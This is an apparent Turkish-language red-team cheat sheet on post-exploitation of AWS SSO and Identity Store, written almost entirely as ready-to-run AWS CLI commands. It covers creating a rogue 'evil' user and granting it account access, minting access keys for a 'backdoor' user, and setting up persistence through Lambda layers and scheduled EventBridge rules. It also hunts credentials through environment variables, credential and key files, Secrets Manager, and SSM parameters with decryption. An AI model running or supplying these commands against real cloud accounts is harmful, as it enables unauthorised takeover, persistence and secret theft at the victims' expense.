AWS - SSO & identitystore Post Exploitation
AWS post-ex
AWS - SSO & identitystore Post Exploitation — AWS ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Hedef veriyi / trafiği / compute’u seç.
-
Exfil veya yan etki primitifini çalıştır.
-
İkinci hesap / iç ağ pivotunu dene.
-
Kanıt paketini (çıktı, hash, zaman) kaydet.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
aws sts get-caller-identityaws configure listecho $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'Hedef komutlar
Section titled “Hedef komutlar”AWS - SSO & identitystore Post Exploitation için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
aws sso-admin list-accounts-for-provisioned-permission-set --instance-arn ARN --permission-set-arn PSaws identitystore list-users --identity-store-id IDaws identitystore create-user --identity-store-id ID --user-name evil --display-name evil --emails Value=evil@x.com,Type=work,Primary=trueaws sso-admin create-account-assignment --instance-arn ARN --target-id ACCOUNT --target-type AWS_ACCOUNT --permission-set-arn PS --principal-type USER --principal-id UIDaws sso-admin list-instancesaws sso-admin list-permission-sets --instance-arn ARNKalıcılık / etki
Section titled “Kalıcılık / etki”Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.
aws iam create-access-key --user-name backdooraws lambda update-function-configuration --function-name FN --layers LAYER_ARNaws events put-rule --name persist --schedule-expression 'rate(6 hours)'Secret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40aws secretsmanager list-secretsaws ssm get-parameters-by-path --path / --recursive --with-decryptionRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt